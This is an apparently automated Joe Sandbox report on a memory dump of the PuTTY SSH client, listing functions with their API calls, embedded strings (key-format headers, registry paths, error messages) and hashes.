Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ByteCharInfoMultiWide
String ID: !cL.Y|S"Ca<--R~o+23'u|.,1o>///?AAAAAAACEEEEIIIIDNOOOOOxOUUUUYPBaaaaaaaceeeeiiiionooooo/ouuuuypy$*#****o~**+++++-----++++|****L.$CueaaaaceeeiiiAAE**ooouuyOUc$YPsaiounNao?++**!<>###||||++||++++++--|-+||++--|-+----++++++++##||#aBTPEsyt******EN=+><++-=... n2*
API String ID: 2366317374-259461551
Opcode ID: 3ce847713b9989b78afe54f3cac964a57e713b8776fab879d99fefa28a828a02
Instruction ID: 101c89909acbc46e3871e2db24c0b2955f7c403caa7fabf7cb22b47365787459
Opcode Fuzzy Hash: 3ce847713b9989b78afe54f3cac964a57e713b8776fab879d99fefa28a828a02
Instruction Fuzzy Hash: 67C2C113D2878692F6224B34E8013FBA761FFA4704F149331DB9A515B2EF6CB9C5A709

Function 00007FF6785FAAF0 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 317comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00007FF6785FAB40
CoCreateInstance.OLE32 ref: 00007FF6785FABFF
CoCreateInstance.OLE32 ref: 00007FF6785FAC70

Strings

Recent Sessions, xrefs: 00007FF6785FADFD
Pageant.exe, xrefs: 00007FF6785FAE35

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CreateInstance
String ID: Pageant.exe$Recent Sessions
API String ID: 542301482-148644000
Opcode ID: 7dde4ad06f94e58ba722ff84eb97f0fa8fb844da0378d740b24b288f643abab2
Instruction ID: 99243b27e2aee0c04ac65ed9aabf4253b17e632d0b062c18512d584e4522ef0d
Opcode Fuzzy Hash: 7dde4ad06f94e58ba722ff84eb97f0fa8fb844da0378d740b24b288f643abab2
Instruction Fuzzy Hash: DDE15B37628A4692EB419B26E44436E7B61FB84B88F604032EE4E87764DF7DE905CB05

Function 00007FF6785D1160 Relevance: 12.3, APIs: 8, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5412766714560a4fbff42f61eca60b5f976890a9ac266f06ccb218d8818102f
Instruction ID: 5fa044f86482004fb285c3670967a95d6a5b495a6a62f76a3d11923e67a0000d
Opcode Fuzzy Hash: d5412766714560a4fbff42f61eca60b5f976890a9ac266f06ccb218d8818102f
Instruction Fuzzy Hash: 5EC1B063E2C68286F7A48B34A8847BA6E90AF94744F740435CE4DC66A1DF7CFC45DB18

Function 00007FF678646FE0 Relevance: 11.5, Strings: 9, Instructions: 234COMMON

Download Yara Rule

Strings

-----BEGIN , xrefs: 00007FF678647209
0123456789, xrefs: 00007FF6786472D9, 00007FF678647321, 00007FF67864735F
---- BEGIN SSH2 PUBLIC KEY, xrefs: 00007FF6786470A7
-----BEGIN OPENSSH PRIVATE KEY, xrefs: 00007FF678647193
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/=, xrefs: 00007FF678647428
SSH PRIVATE KEY FILE FORMAT 1.1, xrefs: 00007FF678647031
, xrefs: 00007FF67864728E
---- BEGIN SSH2 ENCRYPTED PRIVAT, xrefs: 00007FF67864727F
PuTTY-User-Key-File-, xrefs: 00007FF67864711D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: $---- BEGIN SSH2 ENCRYPTED PRIVAT$---- BEGIN SSH2 PUBLIC KEY$-----BEGIN $-----BEGIN OPENSSH PRIVATE KEY$0123456789$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/=$PuTTY-User-Key-File-$SSH PRIVATE KEY FILE FORMAT 1.1
API String ID: 0-166194441
Opcode ID: 7ece83b8144924435dc628800ce00697e9af41aed47ab00858ca3585a7664754
Instruction ID: 64ab46ad5c2118b2a9b5aec21b21710d4b7415d35397dbffbebd06a19f0f6984
Opcode Fuzzy Hash: 7ece83b8144924435dc628800ce00697e9af41aed47ab00858ca3585a7664754
Instruction Fuzzy Hash: 98C18223A28AC6A4FA21DB34E4553FB6761FBD4B44F608031CA8D83696DF3CDA49D744

Function 00007FF6786ADDF8 Relevance: 10.8, APIs: 7, Instructions: 286COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786AE22A

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 183414eea92ac05355f01f144efcc7a106660819817fb9335955ce3f47e8f072
Instruction ID: 485796ed3104cbe5ce503121d5a3b268426ed366913968a24cd4fedb9abd4648
Opcode Fuzzy Hash: 183414eea92ac05355f01f144efcc7a106660819817fb9335955ce3f47e8f072
Instruction Fuzzy Hash: 74C1EF27A28666A5E7609B3194442BF7F90FB91B80F650135DA4D833D1CE7CEC64A70A

Function 00007FF67860D150 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 210registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF678616460: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF67861652D
Part of subcall function 00007FF678616460: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF678616576

Part of subcall function 00007FF678616750: RegQueryValueExA.ADVAPI32(?,?,?,?,?,00000001,00000000,00007FF67860DAC6), ref: 00007FF67861678D
Part of subcall function 00007FF678616750: RegQueryValueExA.ADVAPI32 ref: 00007FF6786167D4

RegCloseKey.ADVAPI32 ref: 00007FF67860D1E2
RegCloseKey.ADVAPI32 ref: 00007FF67860D223
RegCloseKey.ADVAPI32 ref: 00007FF67860D42F

Part of subcall function 00007FF678616840: RegSetValueExA.ADVAPI32 ref: 00007FF678616873

Strings

%s@%d:, xrefs: 00007FF67860D186
Software\SimonTatham\PuTTY\SshHostKeys, xrefs: 00007FF67860D1AC
rsa, xrefs: 00007FF67860D20D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Close$Value$Query$Create
String ID: %s@%d:$Software\SimonTatham\PuTTY\SshHostKeys$rsa
API String ID: 306613542-1153710622
Opcode ID: f409c6af9f2dbabcd250491df0d28a4a6c5a720deabbcc0a770a656b35dfe07a
Instruction ID: 5de150b538d8deefd131bf9af7ef3b20f5752398cfd10889308c572e17c06742
Opcode Fuzzy Hash: f409c6af9f2dbabcd250491df0d28a4a6c5a720deabbcc0a770a656b35dfe07a
Instruction Fuzzy Hash: 3981C623F3D64261FA14973294557BB6A91AF45B84F645231EE0EC7386EE3CEC02E348

Function 00007FF678626B00 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 60libraryfileloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF678626B58
FindFirstFileA.KERNEL32 ref: 00007FF678626B97
CloseHandle.KERNEL32 ref: 00007FF678626BA6

Strings

GetFileAttributesExA, xrefs: 00007FF678626B4E
kernel32.dll, xrefs: 00007FF678626B36
P, xrefs: 00007FF678626BB0

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressCloseFileFindFirstHandleProc
String ID: GetFileAttributesExA$P$kernel32.dll
API String ID: 3854970465-2903979390
Opcode ID: 4df7923f3d34a13ec1fca3f67debcc568d9fa5f0b123719f43d6eb1f8322b689
Instruction ID: b5967db93cc8a63822222d95332180bb43eba3327b907c0633bfec042046a146
Opcode Fuzzy Hash: 4df7923f3d34a13ec1fca3f67debcc568d9fa5f0b123719f43d6eb1f8322b689
Instruction Fuzzy Hash: 6A21A323A29A4361FA21DB35B8043773B92AF84BA5F610271D85DC7794DF2CED15AB08

Function 00007FF6785E1330 Relevance: 9.4, Strings: 7, Instructions: 647COMMON

Download Yara Rule

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/terminal/terminal.c, xrefs: 00007FF6785E143C, 00007FF6785E151E, 00007FF6785E1701, 00007FF6785E174E, 00007FF6785E177B, 00007FF6785E1A00
count234(term->scrollback) <= newsavelines, xrefs: 00007FF6785E1747
sblen >= term->tempsblines, xrefs: 00007FF6785E1517
count234(term->screen) == newrows, xrefs: 00007FF6785E19F9
term->rows == count234(term->screen), xrefs: 00007FF6785E1435
count234(term->scrollback) >= term->tempsblines, xrefs: 00007FF6785E1774
term->rows == newrows, xrefs: 00007FF6785E16FA

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/terminal/terminal.c$count234(term->screen) == newrows$count234(term->scrollback) <= newsavelines$count234(term->scrollback) >= term->tempsblines$sblen >= term->tempsblines$term->rows == count234(term->screen)$term->rows == newrows
API String ID: 0-2137284441
Opcode ID: c27046c877bbe28c414387422ba7976d0ecd375ec3d110cc09af1e6b29d4a1ca
Instruction ID: 8fb76ca7049dbb853b2e2ec14f48d12d66cd118331b60ec56fdd1906d5964cf4
Opcode Fuzzy Hash: c27046c877bbe28c414387422ba7976d0ecd375ec3d110cc09af1e6b29d4a1ca
Instruction Fuzzy Hash: CE621573A2968186E750CF38D4447AE3BA4FB84B54F665235DA5D8B386EF3CE880C744

Function 00007FF678692E80 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF678692EEA
memcpy_s.LIBCPMT ref: 00007FF678692F15

Strings

MZx, xrefs: 00007FF678692E85
, xrefs: 00007FF678693048

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: memcpy_s
String ID: $MZx
API String ID: 1502251526-1316729395
Opcode ID: 680b90cf97a9c7fb76d7a62705229292c2faa968d74e11d542b3937a122fd231
Instruction ID: 24dd1fd1fa8556a0daabce3322008024ba797872fd26a92c827b8d9f0cf0833c
Opcode Fuzzy Hash: 680b90cf97a9c7fb76d7a62705229292c2faa968d74e11d542b3937a122fd231
Instruction Fuzzy Hash: 81C10673B2868697D724CF69E148A6ABB91F784784F149139DB4A83B84DF3CEC05DB04

Function 00007FF6786232EC Relevance: 9.0, Strings: 7, Instructions: 298COMMON

Download Yara Rule

Strings

A46, xrefs: 00007FF6786233B7
You need to specify a source port number, xrefs: 00007FF67862360C
%s%s, xrefs: 00007FF6786234D2
You need to specify a destination addressin the form "host.name:port", xrefs: 00007FF6786236A5
Specified forwarding already exists, xrefs: 00007FF67862368A
LRD, xrefs: 00007FF67862342A
%s, xrefs: 00007FF6786234C6

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: %s$%s%s$A46$LRD$Specified forwarding already exists$You need to specify a destination addressin the form "host.name:port"$You need to specify a source port number
API String ID: 0-44983218
Opcode ID: ba424b58cbbb99aae8b14aad6f6064a995736501febaf7f6e00a0bdb9dd836ec
Instruction ID: 22914173de34b22c61c70ac131b6e9173a8ed16e94aa3f465c9726b034de9722
Opcode Fuzzy Hash: ba424b58cbbb99aae8b14aad6f6064a995736501febaf7f6e00a0bdb9dd836ec
Instruction Fuzzy Hash: 09B1F353B3854261FE51EB32A9115BB1B90AF85BC4FA41431ED0ECB796DE3CE842E748

Function 00007FF6786B697C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 135timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6786A8588: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786A85BB

_get_daylight.LIBCMT ref: 00007FF6786B6A2A
_get_daylight.LIBCMT ref: 00007FF6786B6A3B
_get_daylight.LIBCMT ref: 00007FF6786B6A4C
GetTimeZoneInformation.KERNEL32(?,?,00000000,00000000,?,00007FF6786B6F58), ref: 00007FF6786B6A73

Strings

@, xrefs: 00007FF6786B69C3

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _get_daylight$InformationTimeZone_invalid_parameter_noinfo
String ID: @
API String ID: 3482513350-2766056989
Opcode ID: dca634d6c3a5b7d34b55d3a849be1959882c23d7e5e2232627116e95c2f1e3cd
Instruction ID: 21c3b2f577be21f6e37a817985e7bc1d3ac476d23feff1811f525313e323c970
Opcode Fuzzy Hash: dca634d6c3a5b7d34b55d3a849be1959882c23d7e5e2232627116e95c2f1e3cd
Instruction Fuzzy Hash: 9E518333A2864296E750DF36E8814AA7F61FB48798F644135FA4DC7B96DF3CE8019708

Function 00007FF678628E20 Relevance: 7.8, Strings: 6, Instructions: 305COMMON

Download Yara Rule

Strings

Truncated GLOBAL_REQUEST packet, xrefs: 00007FF678629158
cancel-tcpip-forward, xrefs: 00007FF6786290FE
upstream added want_reply flag, xrefs: 00007FF678628F2D, 00007FF678629601
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/ssh/sharing.c, xrefs: 00007FF678629173
err != NULL, xrefs: 00007FF67862916C
Bad packet length %u, xrefs: 00007FF6786289D0

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/ssh/sharing.c$Bad packet length %u$Truncated GLOBAL_REQUEST packet$cancel-tcpip-forward$err != NULL$upstream added want_reply flag
API String ID: 0-3127662328
Opcode ID: 991be26201f74181bba88df3678a337c7b480657ca93a9f6299da5e586af8475
Instruction ID: 152b52547d67f70fd611b7b94494411f82f3eb2b013f64a430f28d7fabc4f829
Opcode Fuzzy Hash: 991be26201f74181bba88df3678a337c7b480657ca93a9f6299da5e586af8475
Instruction Fuzzy Hash: 8DE1D223A18A8195EB20DB25E4507ABBBA0FBC8B84F644031DF8E87796DF7CD845D744

Function 00007FF67864A9C0 Relevance: 7.8, Strings: 6, Instructions: 288COMMON

Download Yara Rule

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/proxy/sshproxy.c, xrefs: 00007FF67864ABAE, 00007FF67864AE1F
false && "bad SSH proxy type", xrefs: 00007FF67864AE18
backvt->flags & BACKEND_NOTIFIES_SESSION_START && "Backend provides NC_HOST without SESSION_START!", xrefs: 00007FF67864ABA7
saved session '%s' is not an SSH session, xrefs: 00007FF67864AB69
unable to open SSH proxy connection: %s, xrefs: 00007FF67864ADB2
saved session '%s' is not launchable, xrefs: 00007FF67864AAAA

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/proxy/sshproxy.c$backvt->flags & BACKEND_NOTIFIES_SESSION_START && "Backend provides NC_HOST without SESSION_START!"$false && "bad SSH proxy type"$saved session '%s' is not an SSH session$saved session '%s' is not launchable$unable to open SSH proxy connection: %s
API String ID: 0-1306285275
Opcode ID: 9ef69af328c5a2eb72a18165583f3a624f4cbe1c915d5e5e8a5a22084f012d1b
Instruction ID: 1f35c71d287b54cefe743aa87ed9cf1e51dfdc1c873321fd61181697e81f037e
Opcode Fuzzy Hash: 9ef69af328c5a2eb72a18165583f3a624f4cbe1c915d5e5e8a5a22084f012d1b
Instruction Fuzzy Hash: C5C1A527A2868261EA549B32E4503BF6B51EFC5BD0F604035DF8E87B97DE3CE8419304

Function 00007FF678649120 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 00007FF678649174
InitializeCriticalSection.KERNEL32 ref: 00007FF6786491BD
CreateEventA.KERNEL32 ref: 00007FF6786491CD
CreateThread.KERNEL32 ref: 00007FF67864920C
CloseHandle.KERNEL32 ref: 00007FF67864921A

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Create$Event$CloseCriticalHandleInitializeSectionThread
String ID:
API String ID: 2660700835-0
Opcode ID: e40370b0eb4c02b40ff289f01bc8dc88bbf23639b1323524b1364f8764570233
Instruction ID: 0400c8cf8d2eeed771b1294043881038b566d5cecb4cfc4c890e145ac81b06da
Opcode Fuzzy Hash: e40370b0eb4c02b40ff289f01bc8dc88bbf23639b1323524b1364f8764570233
Instruction Fuzzy Hash: 6D31E333629B8156F7248B35F81466B3B94FB99760F644134CE4E82BA4DF3CE940DB08

Function 00007FF6785DB950 Relevance: 7.5, APIs: 5, Instructions: 27clipboardwindowCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF6785DB95A
GetClipboardData.USER32 ref: 00007FF6785DB969
GetClipboardData.USER32 ref: 00007FF6785DB981
SendMessageA.USER32 ref: 00007FF6785DB99A
